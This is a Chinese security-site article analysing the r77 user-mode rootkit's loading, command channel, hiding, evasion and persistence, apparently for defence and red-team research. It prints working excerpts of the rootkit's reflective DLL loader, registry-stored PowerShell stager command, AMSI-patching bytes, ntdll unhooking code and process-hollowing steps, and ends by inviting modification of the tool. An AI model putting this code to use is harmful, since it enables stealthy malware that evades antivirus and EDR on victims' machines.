freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

r77-Rootkit后渗透技战术分析
2022-12-19 10:41:32
所属地 河北省

0X00 软件介绍

r77-Rootkit是一个Ring3级别的Rootkit。Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit并不一定是用作获得系统root访问权限的工具。比起攻击,Rootkit更倾向于被使用于隐藏踪迹和保留root访问权限的工具。至于Ring3则是CPU的四个特权级别之一,Windows只使用其中的两个级别Ring0和Ring3,Ring0上运行操作系统(内核)代码,Ring3上运行应用程序代码,不能执行受控操作。如果普通应用程序企图执行Ring0指令,则Windows会显示“非法指令”错误信息。

简而言之,r77Rootkit就是能够在用户态隐藏自己的各种行为的一款远控工具。它对所有进程隐藏文件、目录、连接、命名管道、计划任务处理CPU使用情况注册表项和值服务TCP和UDP连接。接下来笔者将会对r77-rookit采用的加载、命令控制、隐藏、免杀和持久化的实现方法进行分析,为RAT的防范和攻防演练工具的开发获取一些实用技战术。

注:为了展示方便,笔者对截取的源代码进行了部分删改。

0X01 加载

从当前系统中获取PEB、从内存中获取内存模块顺序列表、哈希、基址、导出表名称,以及函数的相关信息。下例为获取内存模块顺序列表:

mov eax, 3
shl eax, 4
mov eax, [fs:eax] ; fs:0x30
mov eax, [eax + PEB.Ldr]
mov eax, [eax + PEB_LDR_DATA.InMemoryOrderModuleList.Flink]
mov [FirstEntry], eax
mov [CurrentEntry], eax

这一步是为了加载shellcode做准备、写入内存。

而第二项准备工作则是,从资源中获取stager.exe,并将其写入注册表。

这类载荷在metasploit和cobalt strike中同样存在。在msf的执行结构中,payload模位于modules/payloads/{singles,stages,stagers}。其中singles是单独文件,而stagers模块会下载其他payload组件,被称为stages。各种payload stages提供更为高级的功能,如Meterpreter等等。Stagers可以按词典意思理解为“a malware which arranges computer enviroment in order to enhance its appeal to prospective victims“,旨在为了创建某种形式的通信创造环境。而在cobaltstrike中,stager位于resources\httpstager.bin,也就是远程加载Beacon.dll的shellcode,原理和实现基本和msf相通。

使用stager解决了三个问题。首先,它允许我们在一开始使用较小的payload来加载更多功能的较大的payload,让攻击手法更加隐蔽。其次,它使通信能够和最终阶段分离,因此无需复制代码,一个payload就可以在不同途径传输多次。最后,由于stager已经为程序分配了大量内存,因此stages不需要考虑大小问题,可以任意大。也是因此,stages能够以更高级别的语言编写最终阶段的payload,并且动态进行加载。

在r77中,则是需要先将stage.exe编译好,installshellcode.asm包含了runpe和前文提到的PEB加载地址,承担了真正stager的作用,基本流程和msf、cs相通,如下:

push API参数1
push API参数2
push ....
push API哈希值 
call ebp(api_call) ;搜索并调用函数

但在具体的写入上,出于隐蔽性考虑,r77多了一道工序,即使用powershell命令从注册表加载stager,并使用Assembly.Load().EntryPoint.Invoke()在内存中执行。其中powershell命令是纯内联的,不需要ps1文件。

[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`HIDE_PREFIX stager`)).EntryPoint.Invoke($Null,$Null));

在读取结束后,stage.exe会使用进程howllowing创建本地进程。

0x02 命令与控制

通信方式

r77服务命令发送和接受主要通过命名管道进行,如上文所说,r77服务接收来自任何进程的命令,这样即使没有进行权限提升也可以请求r77执行某些命令。

\\.\pipe\$77control

在每一次命名管道的创建前,程序都会自动加上隐藏前缀$77.

r77定义了软件用于通信的控制码,具体命名和功能如下表所示:

变量命名代码功能
R77TerminateService0x1001终止r77服务
R77Uninstall0x1002卸载r77
R77PauseInjection0x1003暂时暂停新进程注入
R77ResumeInjection0x1004恢复新进程注入
ProcessesInject0x2001将r77注入特定进程(如果尚未注入)
ProcessesInjectAll0x2002将r77注入所有尚未注入的进程
ProcessesDetach0x2003从特定进程卸载r77
ProcessesDetachAll0x2004将r77与所有进程卸载
UserShellExec0x3001使用ShellExecute执行文件
UserRunPE0x3002使用进程hollowing执行可执行文件
SystemBsod0x4001触发蓝屏死机

image.png

在接收到指令时,软件会先对Controlcode进行校验,而后调用相应的命令。如:

case ControlCode.UserShellExec:
    ShellExecPath = ShellExecPath?.Trim().ToNullIfEmpty();
    ShellExecCommandLine = ShellExecCommandLine?.Trim().ToNullIfEmpty();

命令执行

在加载完成之后,程序连接到r77服务,并且写入控制代码和可执行文件的位置。

下面的代码就通过pipe,加载了notepad.exe mytextfile.txt的进程。

HANDLE pipe = CreateFileW(L"\\.\pipe\$77control", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (pipe != INVALID_HANDLE_VALUE)
{
    DWORD controlCode = CONTROL_USER_SHELLEXEC;
    WCHAR shellExecPath[] = L"C:\Windows\System32\notepad.exe";
    WCHAR shellExecCommandline[] = L"mytextfile.txt";
    DWORD bytesWritten;
    WriteFile(pipe, &controlCode, sizeof(DWORD), &bytesWritten, NULL);
    WriteFile(pipe, shellExecPath, (lstrlenW(shellExecPath) + 1) * 2, &bytesWritten, NULL);
    WriteFile(pipe, shellExecCommandline, (lstrlenW(shellExecCommandline) + 1) * 2, &bytesWritten, NULL);
    CloseHandle(pipe);
    }

shellcode执行

我们在加载部分提到了r77为了执行命令所做的环境准备,一旦配置完成并载入shellcode,执行命令流程如下

1.从resource或BYTE[]加载install.shellcode

2.将缓冲区标记为RWX

3.将缓冲区强制转换为函数指针并执行它

以下是一个附带了虚拟化保护免杀的shellcode执行例子:

int main()
{
    LPBYTE shellCode = ...
    DWORD oldProtect;
    VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
    ((void(*)())shellCode)();
    return 0;
}

反射式dll注入

这是r77实现Rootki的核心,一旦注入到进程中,对应进程就不会显示被隐藏相关信息。具体而言,r77采用的是反射DLL注入。文件被写入远程进程内存,并调用ReflectiveDllMain导出以最终加载DLL并调用DllMain。因此,DLL不会在PEB中列出。

r77中的反射注入思路:

  1. 将进程指针地址复制给进程句柄,打开进程(OpenProcess),创建线程(PROCESS_CREATE_THREAD),获取线程信息(PROCESS_QUERY_INFORMATION),读写内存(PROCESS_VM_OPERATION);

HANDLE process = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, processId);
  1. 检查字节位数,检查进程是否在排除名单中,如smss、csrss、wininit等关键进程

  2. 检查进程完整性级别,只注入中级以上进程,因为沙箱在注入shellcode时往往会崩溃

  3. 根据需要注入的进程,从ReflectiveDllMain获取反射加载DLL的shellcode的指针地址

DWORD entryPoint = GetExecutableFunction(dll, "ReflectiveDllMain");
  1. 通过NtCreateThreadEx创建线程,将allocatedMemory + entryPoint作为开始地址

NT_SUCCESS(NtCreateThreadEx(&thread, 0x1fffff, NULL, process, allocatedMemory + entryPoint, allocatedMemory, 0, 0, 0, 0, NULL)) && thread)

接着ReflectiveLoader 将dll在内存中展开,修复重定位、导入表(类似ShellCode),以下列举部分代码,来描述ReflectiveDllMain的具体实现。

1.获取自身位置,指向DLL文件开头的指针,如果此函数为真,则返回DllMain的值,否则返回假。

__declspec(dllexport) BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase);

2.获取所需的API地址,此处通过PebGetProcAddress找到其他模块基址,再根据导出表找到函数地址,这里r77需要用的API有ntFlushInstructionCache、LoadLibraryA、getProcAddress、VirtualAlloc等,其中PebGetProcAddress在前文讲述的stager的实现中也起到非常重要的作用,具体实现类似于GetProcAddressWithHash,在shellcode的开发中被广泛使用

NT_NTFLUSHINSTRUCTIONCACHE ntFlushInstructionCache = (NT_NTFLUSHINSTRUCTIONCACHE)PebGetProcAddress(0x3cfa685d, 0x534c0ab8);
    NT_LOADLIBRARYA loadLibraryA = (NT_LOADLIBRARYA)PebGetProcAddress(0x6a4abc5b, 0xec0e4e8e);
    NT_GETPROCADDRESS getProcAddress = (NT_GETPROCADDRESS)PebGetProcAddress(0x6a4abc5b, 0x7c0dfcaa);
    NT_VIRTUALALLOC virtualAlloc = (NT_VIRTUALALLOC)PebGetProcAddress(0x6a4abc5b, 0x91afca54);

3.virtualAlloc 分配内存,大小为扩展头中的 SizeOfImage

LPBYTE allocatedMemory = (LPBYTE)virtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

4.根据内存对齐

libc_memcpy(allocatedMemory, dllBase, ntHeaders->OptionalHeader.SizeOfHeaders);
PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader);
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++){
    libc_memcpy(allocatedMemory + sections[i].VirtualAddress, dllBase + sections[i].PointerToRawData, sections[i].SizeOfRawData);}

5.读取导入目录,调用LoadLibraryA导入依赖项并修补IAT。

if (importDirectory->Size){
    for (PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(allocatedMemory + importDirectory->VirtualAddress); importDescriptor->Name; importDescriptor++){
        LPBYTE module = (LPBYTE)loadLibraryA((LPCSTR)(allocatedMemory + importDescriptor->Name));
        if (module){
            PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(allocatedMemory + importDescriptor->OriginalFirstThunk);
            PUINT_PTR importAddressTable = (PUINT_PTR)(allocatedMemory + importDescriptor->FirstThunk);
            while (*importAddressTable){
                if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG){
                    PIMAGE_NT_HEADERS moduleNtHeaders = (PIMAGE_NT_HEADERS)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
                    PIMAGE_EXPORT_DIRECTORY moduleExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(module + moduleNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
                    *importAddressTable = (UINT_PTR)(module + *(LPDWORD)(module + moduleExportDirectory->AddressOfFunctions + (IMAGE_ORDINAL(thunk->u1.Ordinal) - moduleExportDirectory->Base) * sizeof(DWORD)));
                }else{
                    importDirectory = (PIMAGE_DATA_DIRECTORY)(allocatedMemory + *importAddressTable);
                    *importAddressTable = (UINT_PTR)getProcAddress((HMODULE)module, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)importDirectory)->Name);
                }
                thunk = (PIMAGE_THUNK_DATA)((LPBYTE)thunk + sizeof(UINT_PTR));
                importAddressTable = (PUINT_PTR)((LPBYTE)importAddressTable + sizeof(UINT_PTR));

6.修复重定位

if (relocationDirectory->Size)
            {
                UINT_PTR imageBase = (UINT_PTR)(allocatedMemory - ntHeaders->OptionalHeader.ImageBase);

                for (PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)(allocatedMemory + relocationDirectory->VirtualAddress); baseRelocation->SizeOfBlock; baseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)baseRelocation + baseRelocation->SizeOfBlock))
                {
                    LPBYTE relocationAddress = allocatedMemory + baseRelocation->VirtualAddress;
                    PNT_IMAGE_RELOC relocations = (PNT_IMAGE_RELOC)((LPBYTE)baseRelocation + sizeof(IMAGE_BASE_RELOCATION));

                    for (UINT_PTR i = 0; i < (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(NT_IMAGE_RELOC); i++)
                    {
                        if (relocations[i].Type == IMAGE_REL_BASED_DIR64) *(PUINT_PTR)(relocationAddress + relocations[i].Offset) += imageBase;
                        else if (relocations[i].Type == IMAGE_REL_BASED_HIGHLOW) *(LPDWORD)(relocationAddress + relocations[i].Offset) += (DWORD)imageBase;
                        else if (relocations[i].Type == IMAGE_REL_BASED_HIGH) *(LPWORD)(relocationAddress + relocations[i].Offset) += HIWORD(imageBase);
                        else if (relocations[i].Type == IMAGE_REL_BASED_LOW) *(LPWORD)(relocationAddress + relocations[i].Offset) += LOWORD(imageBase);
                    }
                }
            }

7.调用dll入口点,地址在扩展头的AddressOfEntryPoint,它会完成C运行库的初始化,刷新指令缓存以避免对要执行的修改代码执行过时的指令,执行安全检查,调用dllmain

NT_DLLMAIN dllMain = (NT_DLLMAIN)(allocatedMemory + ntHeaders->OptionalHeader.AddressOfEntryPoint);
ntFlushInstructionCache(INVALID_HANDLE_VALUE, NULL, 0);
return dllMain((HINSTANCE)allocatedMemory, DLL_PROCESS_ATTACH, NULL);

在ReflectiveDllMain这个实现中有几点需要注意:

  • 必须通过搜索PEB找到反射加载器中使用的所有函数,程序才会继续运行。

  • memcpy等函数需要手写,因为尚未导入任何函数。

  • 不能使用Switch语句,因为即将创建一个新的跳转表,且shellcode不处于独立位置。

0x03 隐藏

配置

image.png

r77Rootkit通过注册表进行操作来进行总体的配置,它在HIDE_PRIFIX配置了$77,因此以之为开头的文件、进程、计划任务和命名管道都会被隐藏。有关隐藏项目的注册表项位于HKEY_LOCAL_MACHINE\SOFTWARE$77config中,此键值的DACL设置为授予任何用户完全访问权限,也是因此,可由任何没有提升权限的进程写入。

r77中的“隐藏”意味着从枚举中删除隐藏的实体。如果用户知道文件名或进程ID,仍然可以直接访问文件、打开进程。这是因为打开文件、进程等等的函数没有被hook,而且它们不会通过返回“未找到错误”来伪装隐藏。主要原因是,r77目前没有其他方法来维持它本身。粒入球如果隐藏的注册表键值完全不可访问,r77也无法从配置系统中读取它自己。

为了防止被读取,可以通过设置足够复杂的文件名来确保r77相关的名称不会被猜解。同样,也可以在编译阶段修改隐藏前缀,但r77不能在一次项目中变更多个不同的前缀。

hook

Ring3 层的 Hook 基本上可以分为两种大的类型,第一类即是 Windows 消息的 Hook,第二类则是 Windows API 的 Hook。每个调用的 API 函数地址都保存在 IAT 表中。 API 函数调用时,每个输入节所指向的 IAT 结构如下图所示。

image.png

(图片来源:misterliwei-csdn)

r77中的hook主要通过调用Detours来实现,Detours是微软提供的一个开发库,使用它可以简单地实现API HOOK的功能。它可以通过为目标函数重写在内存中的代码而达到拦截Win32函数的目的。Detours还可以将任意的DLL或数据片段(称之为有效载荷)注入到任意Win32二进制文件中。

在r77中,detour被用于hook ntdll.dll中的几个函数。此DLL加载到操作系统上的每个进程中。它是所有系统调用的包装器,这使它成为Ring 3中可用的最低层。来自kernel32.dll或其他库和框架的任何WinAPI函数最终都将调用ntdll.dll函数。无法直接hook系统调用。这是Ring3 Rootkit的常见限制。

以下是被hook的函数:

  • NtQuerySystemInformation:此函数用于枚举正在运行的进程并检索CPU使用情况。

  • NtResumeThread:当新进程仍处于挂起状态时,此函数被挂起以注入创建的子进程。只有在注入完成后,才实际调用此函数。

  • NtQueryDirectoryFile:此函数枚举文件、目录、连接和命名管道。

  • NtQueryDirectoryGileEx:此函数与NtQueryDirectoryFile非常相似,并且也必须hook。实施方式大致相同。dir就使用此函数而不是NtQueryDirectoryFile。

  • NtEnumerateKey :此函数用于枚举注册表项。调用者指定键的索引以检索它。要隐藏注册表项,必须更正索引。因此,必须再次枚举该键才能找到正确的“新”索引。

  • NtEnumerationValueKey:此函数用于枚举注册表项。调用者指定键的索引以检索它。要隐藏注册表项,必须更正索引。因此,必须再次枚举该键才能找到正确的“新”索引。

  • EnumServiceGroupW:此函数用于枚举服务,主要被services.msc调用。

  • EnumServicesStatusExW:此函数类似于EnumServiceGroupW,主要被Windows 7下的任务管理器和ProcessHacker调用。

  • NtDeviceIoControlFile:此功能用于使用IOCTL访问驱动程序。

其中,除了EnumServiceGroupW、EnumServicesStatusExW来自更高级的DLL,advapi32.dll和sechost.dll之外,其他函数都来自ntdll.dll。一般来说,ntdll.dll确实是唯一要被hook的dll。

但服务的实际枚举发生在service.exe,这是个无法注入的受保护进程。而来自advapi32.dll的EnumServiceGroupW和EnumServicesStatusExW通过RPC访问service.exe以搜索服务列表。ntdll.dll的钩子不会产生任何影响,因为只有service.exe使用这两个ntdll函数。

以下是r77加载一次hook的简单流程。在hook开始之前,首先需要对detours进行初始化、需要更新进行detours的线程。

DetourTransactionBegin();//开始劫持
    DetourUpdateThread(GetCurrentThread());//刷新当前的线程
    InstallHook("ntdll.dll", "NtQuerySystemInformation", (LPVOID*)&OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation);
    DetourTransactionCommit();//提交修改并HOOk

而在InstallHook()函数中,则调用了DetourAttach()进行hook,这个函数的职责是挂接目标API,函数的第一个参数是一个指向将要被挂接函数地址的函数指针,第二个参数是指向实际运行的函数的指针,一般来说是我们定义的替代函数的地址。

LONG WINAPI DetourAttach(Inout PVOID *ppPointer,In PVOID pDetour);
static VOID InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction)
{
    *originalFunction = GetFunction(dll, function);
    if (*originalFunction) DetourAttach(originalFunction, hookedFunction);
}

例如下面这段函数HookedNtQuerySystemInformation()中的代码,就实现了将隐藏进程的CPU使用率添加到系统空闲进程:

for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;)
        {
            if (current->ProcessId == 0)
            {
                current->KernelTime.QuadPart += hiddenKernelTime.QuadPart;
                current->UserTime.QuadPart += hiddenUserTime.QuadPart;
                current->CycleTime += hiddenCycleTime;
                break;
            }
            previous = current;
            if (current->NextEntryOffset) current = (PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset);
            else current = NULL;
        }

除此之外,r77还能够根据两种不同的软件架构隐藏CPU用量,并且可有针对性地对于processhacker等软件进行隐藏。

子进程hook

当一个进程创建一个子进程时,在它可以运行自己的任何指令之前注入这个新进程。函数NtResumeThread在创建新进程时被始终调用。因此,子进程是一个合适的hook目标。因为32位进程可以产生64位子进程,反之亦然,所以r77服务提供了一个命名管道来处理子进程注入请求。

此外,对于子进程hook中可能错过的新进程,每100ms进行一次定期检查。这是必要的,因为某些进程受到保护,无法注入,例如services.exe。

子进程hook流程:

  1. 创建进程时,其父进程在进程创建完成后调用NtResumeThread启动新进程。如果在此进程上调用NtResumeThread,则它不是子进程。若为子进程,调用32位或64位r77服务并传递进程ID。

  2. 此时,进程暂停,应注入。等待响应。在注入r77后调用NtResumeThread。

  3. 为了注入进程,将进程ID发送到r77服务。通过命名管道执行到r77服务的连接

  4. 因为32位进程可以创建64位子进程,反之亦然,所以这里不能执行注入。

static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount)
{
DWORD processId = GetProcessIdOfThread(thread);
    if (processId != GetCurrentProcessId()) 
    {
        if (Is64BitProcess(processId, &is64Bit))
        {
            HANDLE pipe = CreateFileW(is64Bit ? CHILD_PROCESS_PIPE_NAME64 : CHILD_PROCESS_PIPE_NAME32, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
            if (pipe != INVALID_HANDLE_VALUE)
            {
                DWORD bytesWritten;
                WriteFile(pipe, &processId, sizeof(DWORD), &bytesWritten, NULL);
                BYTE returnValue;
                DWORD bytesRead;
                ReadFile(pipe, &returnValue, sizeof(BYTE), &bytesRead, NULL);
                CloseHandle(pipe);
            }
        }
    }
    return OriginalNtResumeThread(thread, suspendCount);
 }

进程隐藏——进程hollowing结合父进程欺骗

进程hollowing是一种在单独活动进程的地址空间中执行任意代码的方法。在RAT中,攻击者可能会将恶意代码注入暂停和中空的进程中,以逃避基于进程的防御。而父进程欺骗技术,其实就是创建一个进程,指定其他进程为这个新创建进程的父进程。

在r77中,进程hollowing被作为stager的一部分实现,因此所有shellcode执行都是采用进程hollowing的方法。此外,当进程为某个进程的子进程时,r77还会对对父进程进行欺骗。

具体的实现流程:

  1. 通过检查进程是否存在inheritHandle标记来判断是否存在父进程

if (OpenProcess(0x80, false, parentProcessId) == IntPtr.Zero) throw new Exception();
  1. 存在父进程时,使用STARTUPINFOEX实现父进程欺骗

父进程欺骗实现的最常见的方法是利用CreateProcessA函数,这个函数允许用户创建新进程,默认情况下,会通过其继承的父进程完成创建。该函数有一个名为“lpStartupInfo”的参数,该参数允许使用者自定义要使用的父进程。该功能最初用于Windows Vista中设置UAC。lpStartupInfo参数指向一个名为“STARTUPINFOEX”的结构体,该结构包含变量“attributeList”,这个变量在初始化时可以调用“UpdateProcThreadAttribute”回调函数进行属性添加,一般通过“PROC_THREAD_ATTRIBUTE_PARENT_PROCESS”属性从而对父进程进行设置。

在r77中,作者为了绕过检测并没有使用CreateProcessA函数,而是首先判断系统是32位或64位,然后根据系统位数强制分配一块startupInfoLength大小的内存,直接向startupInfo写入attributeList。

IntPtr attributeList = Allocate((int)attributeListSize);
int startupInfoLength = IntPtr.Size == 4 ? 0x48 : 0x70;
IntPtr startupInfo = Allocate(startupInfoLength);
Marshal.Copy(new byte[startupInfoLength], 0, startupInfo, startupInfoLength);
Marshal.WriteInt32(startupInfo, startupInfoLength);
Marshal.WriteIntPtr(startupInfo, startupInfoLength - IntPtr.Size, attributeList);
  1. r77依然没有使用常见的CreateProcess()来进行进程挂起的创建,而是使用NtUnmapViewOfSection()函数强制卸载目标进程payload地址对应的模块(作者暂未完全实现该函数的重载),然后再在后续步骤中加载payload

IntPtr imageBase = IntPtr.Size == 4 ? (IntPtr)BitConverter.ToInt32(payload, ntHeaders + 0x18 + 0x1c) : (IntPtr)BitConverter.ToInt64(payload, ntHeaders + 0x18 + 0x18);
IntPtr process = IntPtr.Size == 4 ? (IntPtr)BitConverter.ToInt32(processInfo, 0) : (IntPtr)BitConverter.ToInt64(processInfo, 0);
NtUnmapViewOfSection(process, imageBase);
  1. 使用NtGetThreadContext()函数获取进程上下文

  2. 清空目标进程,当目标进程的大小比恶意进程小的话跳过这步

  3. VirtualAllocEx()重新分配空间,大小为恶意进程大小

  4. NtWriteProcessMemory()向分配的空间写入恶意进程

  5. 恢复上下文,由于目标进程和傀儡进程的入口点一般不相同,因此在恢复之前,需要更改一下其中的线程入口点,需要用到NtSetThreadContext函数。

  6. 将挂起的进程用NtResumeThread函数释放运行。

最后,r77还会将以上步骤执行五次,来解决进程hollowing的稳定性问题。

关于具体的隐藏实现,总结表格如下:

实体通过前缀隐藏通过条件隐藏对应注册表值通过设置隐藏
文件
$77config\paths``eg:C:\path\to\file.txt隐藏路径
目录
$77config\paths``eg:C:\path\to\file.txt隐藏路径
管道名称
$77config\paths隐藏路径
计划任务


进程
$77config\pid\$77config\process_names隐藏PID、进程名称
CPU使用量
隐藏对应被隐藏的进程的CPU使用量

注册键


注册值


服务
$77config\pid\svc32``$77config\pid\svc64隐藏服务名$77config\service_names服务启动项$77config\startup
TCP连接
隐藏对应被隐藏的进程的TCP连接
隐藏本地、远程TCP端口$77config\tcp_local$77config\tcp_remote
UDP连接
隐藏对应被隐藏的进程的UDP连接
隐藏UDP端口$77config\udp

0x04 免杀

r77使用了几种AV和EDR绕过技术:

  • AMSI绕过:PowerShell内联脚本通过pactching AMSI来禁用AMSI.Dll!AmsiScanBuffer,并且始终返回AMSI_RESULT_CLEAN。

  • DLL unhook:由于EDR的解决方案是通过hook ntdll.dll 来监控API调用,这些hook需要通过加载ntdll.dll的新副本来删除并还原原始节。否则,将检测到进程hollowing。

  • hooksechost.dll而不是api ms-*.dll

AMSI内存劫持

Antimalware Scan Interface(AMSI)译为反恶意软件扫描接口,它是一种防御机制,用于检查 PowerShell、UAC 等是否有恶意数据传入。它主要针对在 PowerShell 或其他 AMSI 集成环境中执行的命令和脚本。当用户启动 PowerShell(或 PowerShell_ISE)进程或脚本时,库会自动加载到该进程中。该库提供了与防病毒软件交互所需的 API。如果检测到任何恶意内容,AMSI 将停止执行并将其发送至 Windows Defender 进一步分析。

r77中有大量使用powershell进行交互的操作,为了绕过AMSI,r77使用了内存劫持技术。

逻辑是通过 Hook 函数 AmsiScanBuffer() ,让它始终返回句柄AMSI_RESULT_CLEAN,达到欺骗 AMSI 没有发现恶意软件的效果。在install.c和Powershell启动脚本中都包含执行这个程序的代码。同理,在r77的Powershell代码中不能包含任何带有C#代码的Add-Type cmdlet。它将调用csc.exe,这将释放一个C#dll放到磁盘上。作为替代,需要使用类似于libc的返回方法,通过使用反射来查找某些.NET函数。对amsi.dll!AmsiScanBuffer的劫持会在[Reflection.Assembly]::Load之前。

64位下,用shellcode覆盖AmsiScanBuffer函数以返回AMSI_RESULT_CLEAN如下所示:

StrCatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);");

其中,0xb8,0x57,0,7,0x80,0xc3代表的是下列代码:

b8 57 00 07 80 mov eax, 0x80070057
c3             ret

而每次安装r77时,Powershell变量名称都会动态混淆,字符串则以多种方式进行混淆处理。

unhook

许多EDRhook了ntdll.dll和kernel32.dll,这些钩子监视API调用,特别是代码注入、进程hollowing等所需的调用。

为了防止杀软检测,需要服务加载的第一时间解开EDR监控的DLL。

UnhookDll(L"ntdll.dll");
if (IsWindows10OrGreater2() || BITNESS(64))
{
    UnhookDll(L"kernel32.dll");
}

删除EDR的钩子是通过加载ntdll.dll的新副本来实现的,并用原始未挂起的文件内容替换ntdll模块的当前加载的.txt部分。EDR钩子通常是几个可疑ntdll函数开头的jmp指令。这些钩子很容易删除,因为它们只存在于用户模式中。EDR通常不实现内核模式挂钩。

具体过程分为三步:

  1. 检索DLL文件的干净副本

  2. 将干净的DLL映射到内存中

  3. 找到被hook的DLL的.text部分,并用原始DLL部分覆盖它

if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO))){
    HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (dllFile != INVALID_HANDLE_VALUE){
                    HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
                    if (dllMapping)
                    {
                        LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0);
                        if (dllMappedFile)
                        {
                            PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew);
                            for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
                            {
                                PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER));
                                if (!StrCmpIA((LPCSTR)sectionHeader->Name, ".text"))
                                {
                                    LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress);
                                    DWORD virtualSize = sectionHeader->Misc.VirtualSize;
                                    DWORD oldProtect;
                                    VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
                                    libc_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize);
                                    VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect);
                                    break;
                                }
                            }
                        }
                        CloseHandle(dllMapping);
                    }

0x05 持久化

Rootkit驻留在系统内存中,不会将任何文件写入磁盘。计划任务确实需要存储$77svc32.job和$77svc64.job,一旦Rootkit运行,计划的任务也会被前缀隐藏。

r77的驻留分为三个阶段:

阶段1:安装程序为 32位和64位r77service 创建两个计划任务。计划任务启动powershell.exe,命令行如下:

[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)

image.png

image.png

阶段2:stager将使用进程hollowing创建r77服务进程。r77服务是一个本地可执行文件,分别以32位和64位编译。父进程被欺骗并设置为winlogon.exe以获得额外的模糊性。此外,这两个进程按ID隐藏,在任务管理器中不可见。

由于计划任务在SYSTEM帐户下启动PowerShell,所以r77服务也在SYSTEM帐户上运行。因此,它可以用系统IL注入进程,但受保护的进程除外,如services.exe。

image.png

阶段3:两个r77服务进程现在都在运行。它们会执行以下操作:

  1. 进程ID存储在配置系统中以隐藏进程。因为这些进程是使用进程hollowing创建的,所以它们不能带有$77前缀。

  2. 注入所有正在运行的进程。

  3. 创建命名管道以处理新创建的子进程的注入。

  4. 除了子进程挂钩,子例程每100ms检查一次新创建的进程。这是因为某些进程不能被注入,但仍然创建子进程,service.dll尤其如此,这是一个受保护的进程。

  5. 创建控制管道,它处理由其他进程接收的命令。

  6. 执行$77config\startup下的文件。

0x06 总结

根据上文内容,我们结合att&ck mitre表进行了技战术的整理,如下表所示:

image.png

r77-Rootkit及其改版在APT组织被广泛应用于各类工具和病毒中,当然,在目前捕获的脱胎于r77的恶意样本中,有许多种已经扩展出了更有利于其进行挖矿或勒索等目的的功能,如添加账户、横向扩散等等,例如笔者此前分析过的coinminer家族的r77-Oracle挖矿病毒

r77能获得如此广泛的应用,当然是因为其有一定的优越性,例如:

  • 对常见的恶意代码技术有很多创新之处,例如将进程hollowing和父进程欺骗结合使用

  • 对一些API进行了罕见应用,有较好的绕过效果,如NtUnmapViewOfSection()等

  • 功能全面,对免杀考虑周详

当然,如果应用在攻防演练等实战中,该工具还是有一定被识别的风险。如果要进行魔改,可以从以下方面入手:

